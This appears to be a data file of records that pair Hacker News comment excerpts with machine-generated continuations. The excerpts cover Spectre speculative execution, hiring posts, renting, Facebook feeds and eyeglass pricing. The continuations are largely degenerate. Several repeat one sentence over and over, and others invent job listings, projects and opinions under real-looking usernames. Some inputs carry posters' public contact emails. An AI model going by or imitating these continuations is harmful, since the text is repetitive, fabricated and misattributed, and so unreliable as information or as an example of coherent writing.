limitations.\n\n------\nroddux\nThis is the reason"} +{"output_text": " code check for the existence of\n\"secret\" data before using it.\n\nIf you're not paranoid, make your code check for the existence of \"secret\"\ndata before using it.\n\nIf you're not paranoid, make your code check for the existence of \"secret\"\ndata before using it.\n\nIf you're not paranoid, make your code check for the existence of \"secret\"\ndata before using it.\n\nIf you're not paranoid, make your", "input_text": "'m not a CPU architect, and I'd agree with you that Spectre variant 2 should\nbe fixed by CPU designs, simply because software is helpless against it.\nLuckily, fixing it shouldn't be too expensive, it just requires tagging the\nBTB with the trust zone.\n\nBut Spectre variant 1 is really a consequence of the CPU working correctly.\nFor a large number of branches, perhaps most, we _want_ loads to proceed\nduring speculative execution. This is because the code accesess the same or\nclosely related data on both sides of the branch, so priming the caches during\nspeculation is very valuable even when the branch is mispredicted.\n\nI remember reading a study of different binary search implementations which is\nprobably the clearest example of this: when the data is laid out in a heap\nlayout (with child nodes next to each other in an array) the branchy variant\nof the code performs better than the branchless variant due to this cache\npriming effect.\n\nWhat CPU designers could and should probably help with is providing\ninstructions to cheaply mark the (comparatively few!) cases where this\nspeculative execution behaviour leaks secret information.\n\n~~~\ncesarb\n> What CPU designers could and should probably help with is providing\n> instructions to cheaply mark the (comparatively few!) cases where this\n> speculative execution behaviour leaks secret information.\n\nHow can we, as software developers, find these cases in our multi-megabyte\ncode bases, and how can we be sure we haven't missed any?\n\n~~~\nfyi1183\nYou could ask the same question about any class of security bug, so\nunsurprisingly I'd answer more or less in the same way.\n\nFor example, if you're paranoid, make your"} +{"output_text": " open, curious, and someone who loves tackling\ndifficult challenges.\n\nWe value:\n\n\\- Simple solutions over complex ones\n\n\\- Solving real problems and adding real value\n\n\\- Taking action over long winded discussions\n\n\\- Diversity of people, ideas and solutions\n\n\\- Constantly learning\n\nSome of the technologies we use: Hadoop, Apache NiFi, Spark, Ruby, Python,\nJavascript, Java. Having said that, the technology you are", "input_text": " impact on\nsociety. You will be part of a passionate team focused on enabling our clients\nto effectively harness the value of technology to create exponential value. We\nuse software, data and design thinking to solve problems for our customers.\n\nYou need to be passionate, open, curious, and someone who loves tackling\ndifficult challenges.\n\nWe value:\n\n\\- Simple solutions over complex ones\n\n\\- Solving real problems and adding real value\n\n\\- Taking action over long winded discussions\n\n\\- Diversity of people, ideas and solutions\n\n\\- Constantly learning\n\nSome of the technologies we use: Hadoop, Apache NiFi, Spark, Ruby, Python,\nJavascript, Java. Having said that, the technology you are familiar with is\nunimportant.\n\nMail me at hnusername @zyelabs.net\n\nor\n\n[https://zyelabs.typeform.com/to/sl7rCS](https://zyelabs.typeform.com/to/sl7rCS)\n\n------\nismail\nZyeLabs.net | Senior Business Analyst | Johannesburg, South Africa | ONSITE\n[http://www.zyelabs.net](http://www.zyelabs.net)\n\nZyeLabs is a boutique consultancy where we are focus on creating exponential\nvalue for customers using Software, data and Design thinking.\n\nWe believe that by helping companies be more efficient, serve their customers\nbetter and help them solve real problems we can have an exponential impact on\nsociety. You will be part of a passionate team focused on enabling our clients\nto effectively harness the value of technology to create exponential value. We\nuse software, data and design thinking to solve problems for our customers.\n\nYou need to be passionate,"} +{"output_text": " shoot me an email.\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | Onsite\n\nSlack is hiring! We are looking for a few different positions:\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (Scala)\n\n* Senior Software Engineer (Frontend)\n\n* Senior Software Engineer (Backend)\n\n* Senior Software Engineer (DevOps)\n\n* Senior Software Engineer", "input_text": " New York, NYC | ONSITE | Fulltime |\n[http://phosphorus.com](http://phosphorus.com)\n\nPHOSPHORUS is a computational genomics company with the vision to create a\nworld where every healthcare decision is optimized with genomics. Founded in\n2016 and based in New York City, Phosphorus develops powerful data-driven\nsoftware that enables labs around the world to deliver the most advanced\nclinical genetic tests beginning in cardiovascular genetics and for\ninfertility. With a team of experts in computational biology and computer\nscience, Phosphorus is building a data network that will help providers,\nresearchers and patients around the world better understand and harness the\npower of the human genome.\n\nWe are a spinoff from Recombine's acquisition for $85M by CooperSurgical last\nyear, we are growing quickly, and are well-funded with a Series A by FirstMark\nCapital.\n\nWe are looking to hire experienced software engineers. We use Spark, Scala,\nRails, Parquet, Javascript, SQL, AWS, etc. Our interview process is\nstraightforward and quick. Phone screen, followed by in-person interviews.\n\nKeywords: genomics, genetics scala, software, intern\n\nMore information on positions can be found here: * Software Engineer -\n[https://phosphorus.workable.com/jobs/312859](https://phosphorus.workable.com/jobs/312859)\n* Senior Software Engineer -\n[https://phosphorus.workable.com/jobs/312856](https://phosphorus.workable.com/jobs/312856)\n\nMessage Eugene at eugene@phosphorus.com if interested. Also if you want to\nlearn more about this area happy to talk, just"} +{"output_text": " gmail (dot) com\n\n------\njames_s_tayler\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask, Javascript, React, React Native,\nPostgreSQL, MySQL, AWS, Docker, Ansible, Terraform, AWS, Google Cloud,\nKubernetes, Docker, Docker Compose, Docker Swarm, Docker Swarm Mode,", "input_text": " Yes/No\n\nWilling to relocate: No\n\nTechnologies: Python (since 2013), Java 8+, Docker, Devops related tech.\n\nResume/CV: [https://vdoster.com](https://vdoster.com)\n\nEmail: mvdoster@gmail.com\n\nGitHub: [https://github.com/vladdoster/](https://github.com/vladdoster/)\n\nWIT '19 new grad looking for work in backend / devops development. Passionate\nabout anything infrastructure and run a multi-node automated homelab in spare\ntime. Would love a chance at devops role.\n\nAlways excited to try new languages, frameworks, methodologies - you name it.\n\nPlease don't hesitate to leave a comment with any questions. Thank you for\nlooking.\n\nI am a citizen of the US.\n\n------\nmyufazim\n|Intern|\n\nRemote: No\n\nWilling to relocate: Yes, Prefered\n\nTechnologies: {C++, pytorch, node, express} I'm a Junior in Computer Science\nat the University of Michigan. I have experience implementing IIoT testing\ninfrastructure for Emerson's fluid valve lab and doing research in IoT\nwearables at my University. Over the past year I've taken classes and done\nside projects in ML(pytorch, CNNs) and webdev(MERN stack).\n\nR\u00e9sum\u00e9/CV:\n[https://www.linkedin.com/in/myufa/](https://www.linkedin.com/in/myufa/)\n\nGithub: [https://github.com/myufa](https://github.com/myufa)\n\nEmail: myufa (at)"} +{"output_text": "?\n\n3) What is the percentage of the company you are working with?\n\n4) What is the percentage of the company you are working with that you are\npaying?\n\n5) What is the percentage of the company you are working with that you are\npaying that you are not getting back in terms of increased valuation?\n\n6) What is the percentage of the company you are working with that you are\npaying that you are not getting back in", "input_text": " Major obstacles for me is that I'm not a graphic artist and I\ncan't design from scratch. I know designers who like to create textures and\nstuff from scratch and to me I feel more like a cobbler of design elements\nrather than an original creator of design. I will put this design element\ntogether with that element. I'm basically pretty handy at tweaking and\nmodifying in Photoshop but ask me to create stuff in Photoshop and Illustrator\nfrom scratch using the pen/brushes/paths and I'm lost.\n\n------\nsahillavingia\nActually, I'm doing this thing where I'm offering hackers around 5-10 hours of\ndesign work per week (plus additional direction help and the like) for a\npercentage of the company. Normally around 1-5%, depending on a bunch of\nthings including valuation.\n\nI think it's a great deal. If I get 3% of your company, and my design help\nincreases the value of your company by 10% (that's ridicolously easy, too!)\nyou've already made a net profit out of the deal.\n\nWhat do you think?\n\n~~~\nspokey\nI'm not sure if this comment is quite appropriate on this thread (as it is a\nborderline commercial offer and quite possibly off-topic for the OP's\nquestion), but I think your model is interesting and I'd love to know a little\nmore.\n\n1) Is your 5-10 hours/week offer indefinite or for some fixed period? Are you\ncapping the number of start-ups you are working with? (This offer doesn't seem\nto be infinitely scalable.)\n\n2) Do you see this role more as employee-working-for-stock or as angel-\ninvestor-contributing-design-skills"} +{"output_text": "' first exposure to the idea that they're not going to get paid for\ntheir work.\n\n~~~\njedberg\nI think it's a great idea. I think it's a great idea for people who are\nalready in the industry.\n\nI think it's a terrible idea for people who are not in the industry.\n\n~~~\nzrail\nI'm not sure I agree. I think it's a great idea for people who are already in\nthe industry", "input_text": "rbabbage\n[https://en.m.wikipedia.org/wiki/Golden_handcuffs](https://en.m.wikipedia.org/wiki/Golden_handcuffs)\n\nHow would training followed by a bonding period be considered differently than\nother mechanisms inducing employees to stay? Could these other mechanisms also\nbe legally questionable?\n\nE.g. some San Francisco Bay Area technology companies offer large (~$20k)\nsigning bonuses to new uni graduate hires that the employee must return if she\nleaves within her first year at the company. Similarly, companies offer five-\nyear equity packages that deliver no equity until the twelfth month.\n\n~~~\n__z\nYeah, I heard about companies who pay for college - as long as you stay one\nyear after your last class. If not you have to pay them back. Actually, just\npay back just the tuition you spent in the last year.\n\n~~~\nmariodiana\nSeeing as Army ROTC will want 4 years, it sounds like a great deal.\n\n~~~\n__z\nIf you take classes for 4 years then you'll have to stay 5 to get your\neducation fully paid off. If you took 4 years of classes and worked for 4\nyears then you'd owe them 1 year tuition (the previous year)\n\nThat being said, this deal was to further your education for your job. So you\ncouldn't get your masters in finance unless you worked in finance. A software\ndeveloper couldn't get their finance degree paid for.\n\nThis was for a company my friend worked for.\n\n------\nzrail\nThe whole for-profit code school thing has been giving me the creeps since I\nstarted hearing about it years ago, precisely because it's the potential\nemployees"} +{"output_text": ".\n\n~~~\narsenalist\nI see. Thanks.\n\n------\njedberg\nI'm not sure if this is a good idea.\n\nI'm not sure if it's a good idea to have a browser that can't be used to\nbrowse the web.\n\nI'm not sure if it's a good idea to have a browser that can't be used to\nbrowse the web without tracking.\n\nI'm not sure if it", "input_text": "'s interesting, if we look at the size of webpages in everyday browsing,\nwhich can go from tens of megabytes to a few kilobytes when blocking\ntracking/analytics scripts.\n\nI wonder what would be the back of the napkin calculations for network traffic\nand energy savings (local and server side) of regulating tracking and\ntelemetry?\n\nIs there an environmental case to be made against modern web practices on\ntracking and telemetry?\n\n~~~\nluckylion\nI've really come to dislike Google over the past decade or so, but I do like\nthat their Speedtests, Lighthouse etc don't hide this fact from you.\n\nPretty much all sites I've been asked to look at were getting low scores\nbecause of Google Tag Manager, Adsense and the like. It has a very measurable\nimpact, and yeah, removing it speeds up the page.\n\nThe environmental case will probably not fly for regulation, but it just might\nin public shaming of large companies. \"Hey, $company, your usage of\n$trackingTech uses as much power per year as an average family of four. Is\nthat really in line with your green approach?\"\n\n------\nkekebo\nHow does this differ from disabling telemetry in VSCode's settings? The\ndocumentation doesn't seem to include a comparison\n\n------\narsenalist\nIsn't there already an OSS version of the Code -\n[https://flathub.org/apps/details/com.visualstudio.code.oss](https://flathub.org/apps/details/com.visualstudio.code.oss)\n\nOr is this Linux only?\n\n~~~\ncommoner\nThat's a Flatpak version of Visual Studio Code, which only works on Linux"} +{"output_text": "?\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if this is a good idea.\n\n------\nm3kw9\nI\u2019m not sure if", "input_text": " of it as tax.\n\nI'd rather deal with a company that ploughs surplus back into salaries or R&D\nor even charity than squandering it as profit.\n\n~~~\nSquirrelOnFire\nAgreed, but on a transaction level having higher profit MARGINS is what\nenables the company to have money to plow back into the business.\n\n------\nphkahler\nI've often wondered if there is any reason at all to allow companies to\nown/buy/merge other companies. I have not found one.\n\n------\nchewyland\nI bought two pairs of prescription glasses including frames and nice little\ncases + one them was photocromatic.\n\nThe total cost was 47$ for both.\n\nThis was in Sofia.\n\n------\naj7\n1\\. Have your opthalmologist do your refraction. He\u2019ll charge you extra\nusually. 2\\. Walmart. Excellent quality and workflow.\n\n------\njoyeuse6701\nIf Luxottica is a as big a player as they say, shouldn't some anti-trust laws\ncome into play?\n\n------\nm3kw9\nJust need @AOC or @realdonaldtrump to do a little tweet and the DOJ will get\non it.\n\n------\nGuillaumeBrdet\nThe answer my girlfriend has taken, get a good insurance.\n\n$250 pair for $35. Done.\n\n------\nadvertising\nHave bought only retro super future for this very reason\n\n------\narthurofbabylon\n\u201cTell all\u201d? That wasn\u2019t very much.\n\n------\nnatroniks\neyebuydirect.com\n\n------\nanewguy9000\nwait we should be paying costs and not a markup"} +{"output_text": "ophies-of-developer-\ntools/\n\n------\nejanus\nI'm working on a new project that I'm calling \"The Idea Store\".\n\nIt's a place where people can share their ideas and get feedback from others.\n\nI'm looking for people who are interested in helping me build it.\n\n------\nejanus\nI'm looking for people who are interested in helping me build it.\n\n------\nejanus\nI", "input_text": "\nProduct shelve to sale ratios?\n\n80/20 type optimizations on revenue by skus?\n\nTraffic flow maps?\n\nI'd love to hear some result or stories if you do end up doing some of this.\n\n~~~\nkaennar\nDoing some basic image processing and tracking customers flow through the\nstore would be fascinating.\n\nYou could categorize what people are shopping for, how long, and what buying\none item tends to mean for the rest of their shopping cart.\n\nI'd read that paper!\n\n~~~\nejanus\nWhich paper?\n\n~~~\nkaennar\nI was implying that it would make an interesting academic paper.\n\n------\nRikNieu\nI'm working on a brainstorming/idea generation site as a side-project. No idea\nif people would want this.\n\nWhich lead me to down the path of wondering if there are any idea pitching\nsites. In the meanwhile, I just created a subreddit(/r/ideaspitch) which could\nserve that function for the time being, just so that I can relax and focus on\nmy original idea again...\n\nSo yes, brainstorming/idea generating tool.\n\n------\nSirLJ\nAI driven stock trading robots, it's cool, because you compete in the market\nwith the smarts people on Earth every day and making good money in the\nprocess...\n\n------\ndronescanfly\nElectrical Vehicel Routing\n\nHighly theoretical stuff that let me transition well from university\n\n~~~\nejanus\nIs it possible to allow me to be part of your adventure?\n\n \nDesign Philosophies of Developer Tools - fogus\nhttp://stuartsierra.com/2011/08/30/design-philos"} +{"output_text": " on Facebook longer, Facebook is censoring the content that people want to\nsee.\n\n~~~\ndanso\nI think the argument is that Facebook is not censoring content, but rather\nmaking it more difficult to find.\n\nI don't think it's fair to say that Facebook is \"censoring\" content. It's\nsimply prioritizing content that it thinks will be more likely to keep you on\nthe site longer.\n\n~~~\nwayne_sk", "input_text": ". Which means that the most\nimportant thing is a headline that grabs people's attention and causes them to\nclick. The incentive is for the most outrageous and attention grabbing\nheadline possible. With no incentive for being accurate - by the time you\nrealize that the article is junk they've been paid and are looking for another\nsucker.\n\nIf you're interested in a book length exposition of how this change in\ndynamics has changed the news landscape, I recommend\n[https://www.amazon.com/Trust-Me-Lying-Confessions-\nManipulato...](https://www.amazon.com/Trust-Me-Lying-Confessions-\nManipulator/dp/1591846285). The trends that it discusses have played out for\nanother decade since it was written, but played out along the direction that\nit described.\n\n~~~\ngms\nThe NYT operates on an online subscription model, no?\n\n~~~\nbobthepanda\nHow much of a percentage of revenue is that subscription model vs ads, and how\ndoes that hold up to the historical split?\n\n~~~\nthorwasdfasdf\ni heard somewhere it was 60% subscription 40% ad, though I'm not sure.\n\n------\nwayne_skylar\nI find it so funny that Facebook hides behind \"freedom of speech\" when in fact\nwhat they do is the exact opposite.\n\nWhen everything you saw was cronological, you could make that argument. I\nwrite a message on my wall and everyone who follows me can see it if they\nscroll down far enough. Most importantly, the only criteria used was the time\nit was submitted which I think everyone can agree is fair.\n\nBy prioritizing certain posts based on what the algorithm thinks will make you\nstay"} +{"output_text": " is a much more stable source of income than a NIBMY.\n\n~~~\nNormal_gaussian\nI don't think that is a problem.\n\nI have a house that I bought with a mortgage. I have a mortgage that I pay\nmonthly.\n\nI have a house that I bought with a mortgage. I have a mortgage that I pay\nmonthly.\n\nI have a house that I bought with a mortgage. I have a mortgage that I pay", "input_text": "\n\nYou or your parents don\u2019t own houses, and are self sufficient on a regular\njob? Well, you are shit out of luck then. As much as 70% of your income will\ngo towards your rent, effectively financing the better-off and the further\nexpansion of their inefficient renting businesses.\n\n~~~\nfwn\nSpending 70% of your income on rent is far from inevitable in Germany.\n\n~~~\nLeChuck\nNot only far from inevitable but impossible in a lot of cases. When I was\nlooking for an apartment in Germany most (all? I can't remember) landlords\nwanted to verify that my income was at least three times the rent.\n\n~~~\nmrottenkolber\nWell, that can\u2019t work out in all cases, obviously. Remember that a significant\nchunk of the people don\u2019t make 3x of a low rent in many towns.\n\n------\nNormal_gaussian\nThe only liberty that renting provides is the protection from the whims of the\nhousing market.\n\nAside from that it takes liberties right left and centre. I cannot structure\nmy house and life as I want from painting and shelving through pets and\nkitchen appliances.\n\nI cannot fix something without causing a hassle and days off work.\n\nI cannot register a business here.\n\nI am at the whim of my landlord.\n\nRenting in the UK is a pain in the arse. I do to see renting as particularly\npositive for the individual.\n\n~~~\nimtringued\nOn the other hand it eliminates the NIBMY problem. Since the tenants do not\nown their home they don't have the pressure to protect their investment. The\nlandlord receives returns on his investment through rent on a monthly basis\nwhich"} +{"output_text": "3395733-software-\nengineer-developer-platform-frontend-?trid=f80091b6-bea0-4fe3-a8f1-2a732fb8bec8)\n\nMobile Engineers - we are building the mobile app for Square, and we are\nbuilding the mobile app for Square, and we are building the mobile app for\nSquare, and we are building the mobile app for Square, and we are building the", "input_text": "/careers/).\n\nInterview process: online technical assessments, phone and onsite interviews.\n\nIf you have specific questions for me, my email is in the profile (put HNJOB\nin the subject line).\n\n------\njawspeak\nSquare: Developer Platform, San Francisco | Full Time | ONSITE | VISA\nsponsorship or transfer OK.\n\nThis is our team: Developer Platform. We are hiring!\n[https://www.squareup.com/developers](https://www.squareup.com/developers).\nSee all the roles [https://careers.smartrecruiters.com/Square/dev-\nplatform](https://careers.smartrecruiters.com/Square/dev-platform)\n\nServer Engineers - we use mostly Go and create the platform that makes Square\na Platform, we also own several products, and are releasing many new\nprimitives for devs to build businesses on top of Square -\n[https://jobs.smartrecruiters.com/Square/98588966-software-\nen...](https://jobs.smartrecruiters.com/Square/98588966-software-engineer-\ndeveloper-platform-server-?trid=f80091b6-bea0-4fe3-a8f1-2a732fb8bec8)\n\nFrontend Engineers - owning eCommerce API for websites to accept payments (and\ndo card on file) without PCI effort, dev experience, dev portal, and new not-\nyet-released products!\n[https://jobs.smartrecruiters.com/Square/103395733-software-e...](https://jobs.smartrecruiters.com/Square/10"} +{"output_text": " on\neverything.\n\n------\njister\nI think Castro is a great leader and a great man. I think he's a great\ncommunist and a great leader. I think he's a great man and a great leader.\n\nI think he's a great man and a great leader.\n\n------\njister\nI think Castro is a great leader and a great man. I think he's a great\ncommunist and a great leader. I think he's", "input_text": " a week, it's 20 hours once, only when looking for a job.\n\nIf you can't be bothered to put some brief, good code on github to review, why\nwould I be bothered to interview you?\n\n~~~\nbeyondjaded\nwell I've seen some local jobs asking for people who can contributed to the\ncore of Jquery or Prototype for example and their github accounts to go with\nthat. If this fits in with your previous job description like you say it\ndoesn't take long to tidy things up but being a really valid part of any open\nsource community whether takes a lot of time and is definitely comparable to\nanother part time job on top of a normal job\n\n------\njister\nonly shortsighted fools will require you to have all those although some may\nask but it's definitely not required\n\n \nCastro has his doubts on Communism - zmitri\nhttp://thelede.blogs.nytimes.com/2010/09/09/fidel-castros-doubts-about-cuban-communism-and-iranian-anti-semitism/?partner=rss&emc=rss\n======\nzmitri\nThis has really changed my view point on Castro. I'm not sure if he's been\nlooking at lives of Cubans and realizing that maybe the revolution wasn't\nworth it, or if he's just getting older and his youthful \" altruistic\nidealism\" is fading.\n\nNice to see people can change their mind, and recollect... even after decades.\n\n~~~\nstephenjudkins\nIt would have been great if he'd realized it earlier.\n\nHowever, I imagine that growing up during the great depression (especially\nunder a series of kleptocrat dictators) changes one's perspectives"} +{"output_text": "\n~~~\nendtwist\nI agree with you, but I think that's a good thing. I don't want to be locked\ninto a service that I can't easily move to.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI have a lot of documents that I want to keep around forever. I don't want to\nhave to worry about them being deleted.\n\nI don't want to have to worry about", "input_text": ". And I'm fairly confident\nthat 5 years from now they'll still be in there and just as easily\ndiscoverable.\n\nWhile Hopper's UI is certainly better than email attachments in gmail\ncurrently are, I suspect Google will rectify that on their side much faster\nthan Hopper will rectify my previously mentioned primary two concerns about\nthe data I'm storing.\n\nAs others have already mentioned, seamless integration into email would go a\nlong way toward getting me to use this at all. Augment instead of trying to\nreplace is a much better strategy here.\n\n~~~\nendtwist\nNo problem, Hopper might not be for you. However, I've gotten a lot of\nrequests re: emailing updates, so I will consider it!\n\nLet me say, though, that I absolutely respect your privacy and have no\nintention of looking at your data. It's as private as you want it to be. I'm\nalso happy to put this in the TOS.\n\nExporting is another story as its easier said than done. Emailing you the\npastes periodically (optionally), however, may alleviate that problem.\n\n~~~\nllambda\n> Let me say, though, that I absolutely respect your privacy and have no\n> intention of looking at your data. It's as private as you want it to be. I'm\n> also happy to put this in the TOS.\n\nOP's issue wasn't so much privacy as it was permanency, as I read it. So using\nGmail, I can rest assured that in five year's time my documents will still be\naround, just as they are today. Whereas with a new service, who's to say what\nlies in store for it? What if you pivot? What if you're acquired?\n"} +{"output_text": ".\n\n~~~\na_imho\nI see. I was under the impression that the CFAA was a general law, not a\nspecific law.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I'm not a lawyer but I'm pretty\nsure that the CFAA is a general law and not a specific law.\n\n~~~\njessaustin\nThe CFAA is a specific law. It's a", "input_text": " in many states now\n(where distracted has been interpreted more or less broadly to include\nelectronic devices or even eating while driving). Having a phone playing\nSpotify/Pandora/$X into your car stereo can be a punishable offense in MA, OR,\nWA, NY, etc.\n\nJust because there have not been actual convictions for said offenses does not\nmean they are not prosecutable. Depending on the state, simply interacting\nwith an electronic device while driving (to change the station for example),\ncan be a punishable offense.\n\n~~~\ncr0sh\n> Depending on the state, simply interacting with an electronic device while\n> driving (to change the station for example), can be a punishable offense.\n\nI wonder if these laws have an \"out\" for police officers while they are\ndriving...?\n\n~~~\nsmileysteve\nIn Georgia, yep, police are specifically exempted. They can do whatever they\nwant on their laptops (or other devices)\n\n------\na_imho\nIsn't everyone violating the CFAA [1] already? It is not clear whether a child\nis being prosecuted for this kind of specific tos violation.\n\n[1][http://blog.erratasec.com/2012/11/you-are-committing-\ncrime-r...](http://blog.erratasec.com/2012/11/you-are-committing-crime-right-\nnow.html)\n\n~~~\nII2II\nThe point is that one law means that the age restriction is a standard clause\nin most website's TOS, while another law makes it a felony for minors to\naccess website because of that standard term of service.\n\nThe combination of the two laws is what makes it different from violating the\nTOS"} +{"output_text": " Azure DevOps.\n\n~~~\nmikece\nI don't think that's a fair assessment. I think the GitHub acquisition was\nabout the company, not the product.\n\n~~~\nflyingswift\nI think you're right. I think the product is still going to be called GitHub,\nbut the company is going to be called Microsoft.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI've", "input_text": "\nIP (like patents), or figure out how to carve out a niche and compete.\n\nIMO: The \"bolt-on product to fix something wrong with someone else's product\"\nbusiness model appears short lived and requires a rather early exit strategy.\n\n~~~\nJMTQp8lwXL\nThese types of businesses shouldn't be taken past the concept stage. If the\npremise of your business is existing wholly on one other entity, it's a\nconstant risk that'll never go away.\n\n~~~\ngwbas1c\nI don't know if I'd be that blunt: Depending on the situation, a patent plus a\nbuyout can be very profitable. That's one of the reasons why patents are\nuseful, they encourage innovations on top of other peoples' products because\nyou can use them to force the other party to pay you something when they try\nto copy your invention and undercut you.\n\nMakes me wonder why Autofac had no patents.\n\nBesides, there's nothing wrong with making a quick buck as long as you know\nit's a temporary situation.\n\n------\nlostmsu\nBut for me theirs is 10 times better as I don't have to install it anywhere\nand then maintain it myself.\n\n~~~\nmikece\nThere is that... but Microsoft screws up their advantage by constantly\nchanging their product names (VSO? VSTS? Azure DevOps? Why don't we just use\nGitHub... and what is HockeyApp's new name?) to the point of confusing the\nvery market they are trying to serve.\n\n~~~\nflyingswift\nUnfortunately, the org as a whole has completely collapsed as the result of\nthe GitHub acquisition. I wouldn't be surprised to see ADO be deprecated in\n2-3 years in favor of"} +{"output_text": " education system. I was a bit of a\ndork, and I was bored out of my mind. I was also a bit of a geek, and I was\nbored out of my mind.\n\nI was a bit of a geek because I was interested in computers, and I was a bit\nof a dork because I was interested in girls.\n\nI was a bit of a dork because I was interested in girls, and I was a bit of", "input_text": "to_have_a_great_career)\n\n------\nzacinbusiness\nGet a shit job. Get shot at by a thug. Clean up other peoples shit and piss\nall day for minimum wage. That's what worked for me.\n\n------\nusablebytes\nFirst thing - don't search for motivation or don't try to get yourself\nmotivated. You'll end up looking for things that will make you feel good which\nwill in-turn promote procrastination and thereby take you away from actions.\nThe truth is motivation doesn't last. It's a push mechanism. You'll have to\nfocus on things that pull you towards it.\n\nIf you keep going like the way you are currently, how would your life be?\nDefinitely you understand the problem with it and this post is the proof. But\nask yourself - \"why do you want to get A-levels at school?\". If programming\nand researching keeps you going, by all means, you should focus on it. Make\nsure you put the best possible efforts in it; the rest will follow\nautomatically.\n\n------\nlinux_devil\nTake it easy, there are lot of options available online if you are not\nenjoying what is being taught in college but you have interest in particular\nsubject. For e.g.: When I was in college I felt my profs. are boring, so I\nalways used to take online courses, like algorithms, operating system\nthrough ocw.mit.edu or stanford.edu or coursera, It helped me a lot to\nmaintain interest in subject, and at same time participate in discussions\nonline, there is always a big community somewhere which will be happy to help\nyou.\n\n------\njahewson\nI went through this phase of the British"} +{"output_text": ".com\n\n------\njamesjguthrie\nGuthrie | London, UK | Full-time | ONSITE |\n[https://www.guthrie.com](https://www.guthrie.com)\n\nGuthrie is a digital marketing agency that helps brands build and grow their\nbusinesses online. We work with some of the biggest brands in the world,\nincluding the BBC, the Guardian, the Financial Times, and the New", "input_text": ".\n\n> seemed disrespectful of others time\n\nI had similar experience with unknown startup, after spending few hours on\ntask, the founder didn't even bother to respond. After that I decided not to\ntake-up interviews which has similar requirement (ex: ask to finish small\ntask).\n\n~~~\nbogomipz\nSure, if you do elect to do them, I think the best thing you can do is share\nyou experience and help someone else avoid having their time wasted by\ncompanies that act like this.\n\nI think it can be seen as a telling sign about the company itself.\n\n------\nSamGlasberg130\nStitch, Inc. | Philadelphia,PA | Multiple Open Positions\n\n __* Who We Are __* Stitch is a simple, powerful ETL service built for\ndevelopers. Stitch connects to all your data sources--from databases like\nMongoDB and MySQL, to SaaS tools like Salesforce and Zendesk--and replicates\nthat data to your data warehouse. With Stitch, developers can provision data\nto analysts and other team members in minutes, not weeks. To learn more, visit\nwww.stitchdata.com, read our blog, and follow us on Twitter (@stitch_data).\n\n __* Open Positions __* We currently are looking to fill the following roles:\n\\- Mid-level /Senior Software Engineer (ONSITE) \\- Senior Cloud Operations\nEngineer (ONSITE) \\- Developer Evangelist (REMOTE) \\- Business Operations\nManager (ONSITE)\n\nAll job descriptions can be found here:\n[https://www.stitchdata.com/jobs/](https://www.stitchdata.com/jobs/)\n\n __* Interested? __* Email Sam Glasberg - sam@stitchdata"} +{"output_text": " that it is a plugin. I'm not sure if it is a plugin or not.\n\n------\njamesjyu\nI'm not sure if this is a good idea. I think it's a great idea, but I think\nit's a bad idea.\n\nI think the problem is that the app store is a closed system. You can't\nreally compete with the big guys. You can't really get your app in front of\nthe people who are going to", "input_text": " niche you're targeting\nwon't sustain the price you want, and unfortunately, that's the way the cookie\ncrumbles when selling software like this.\n\n~~~\ncageface\nAs an author of one semi-pro audio app, I can tell you that even the \"pro\"\napps are selling for as little as 1/10th of the price of a similar app on a\nMac. I really doubt the sales volumes compensate for that.\n\nThe big problem with the app store is that the people on the very high end of\nthe power distribution dictate a pricing structure for everyone that only\nreally works for those moving huge volumes. People now have a preconceived\nidea of what an app should cost that often has nothing to do with how much it\nmust actually sell for in order to turn a profit.\n\n~~~\ntechnoslut\nI'm assuming that you mean prosumer apps. I haven't seen these on iOS. The\nonly app that I've seen that is better on iOS is the official Twitter app.\n\nThen again, I haven't seen traditionally big devs on the Mac release Acorn,\nFlare, and Pixelmator on iOS.\n\n~~~\ncageface\nFor example, an excellent synth app like this would probably sell for at\n_least_ $99 as a plugin for Mac/PC: \n\nI don't know for sure but I'd be very surprised if it's moving 20x the units\nit would as a plugin. But if you price something like this above $10 you'll\nget all kinds of user outrage because that's not what an \"app\" should cost.\n\n~~~\ntechnoslut\nI'm listening to the link of the app and it is good but people have to be\naware"} +{"output_text": "\n> The biggest constraint on growth is how large you can make a cohort or how\n> many cohorts you run (either multiple per year, or opening new locations).\n\nI'm curious what the cost of running a cohort is. I'm guessing it's a lot\nlower than the cost of running a full-time program.\n\n~~~\ngk1\nI'm guessing it's a lot lower than the cost of running a full-time program\nbecause you're not paying", "input_text": "glenngillen\nI did some back-of-the-envelope numbers on the one I came into contact with\npreviously (also keep in mind this was 6 years ago now too!):\n\n20-30x students per cohort who paid ~$20K upfront for a 12 week program. 20%\nsigning fee (based on 1st year comp) from employer on placement.\n\nWe definitely were not paying top of market as some of these students ended up\nat Uber and Facebook. That said the all in 1st year cost between base +\nsigning bonus + equity wasn't much short of $200K. So:\n\n30 * $20K + 28 * $200K * 20% = $1.72M/cohort\n\nAs for outgoings, all of the mentors were volunteers. As were most of the\ninstructors. The content is mostly a one-time sunk cost to produce and is\nredelivered across cohorts. The largest overhead would have been a building\nlease. The biggest constraint on growth is how large you can make a cohort or\nhow many cohorts you run (either multiple per year, or opening new locations).\n\nReally felt like a bit of a racket that had found what was almost an\narbitrage: between the inability of Bay Area companies to find local talent,\nthe huge costs and risk associated trying to relocate people via H1B, and the\ndesire for people to re-skill at any cost because tech jobs/salaries were\ndistorting everything else in their city.\n\nSure it's not a $1B outcome. It's a pretty profitable and repeatable business,\nand especially given the limited downside risk (mostly carried by the\nstudents, who've already paid).\n\n~~~\nshalmanese"} +{"output_text": " \"best\" paper to each student and have them write a \"best\" paper of their own\n * have students read their own \"best\" papers and vote on the most vapid essays\n * have students read each other's \"best\" papers and vote on the most vapid essays\n * have students read each other's \"best\" papers and vote on the most vapid essays\n * have students read each other's \"best\" papers and vote on the most vap", "input_text": " that pass through a\nroom/hallway. Or, for a C-SPAN clip, gauge when who speaks when (depending on\nwhose face is center-frame during a debate). And other less pedantic ideas.\n\n~~~\nzheng\nPlus computers actually remember things. I think anyone here can see that a\ncomputerized method of gathering data 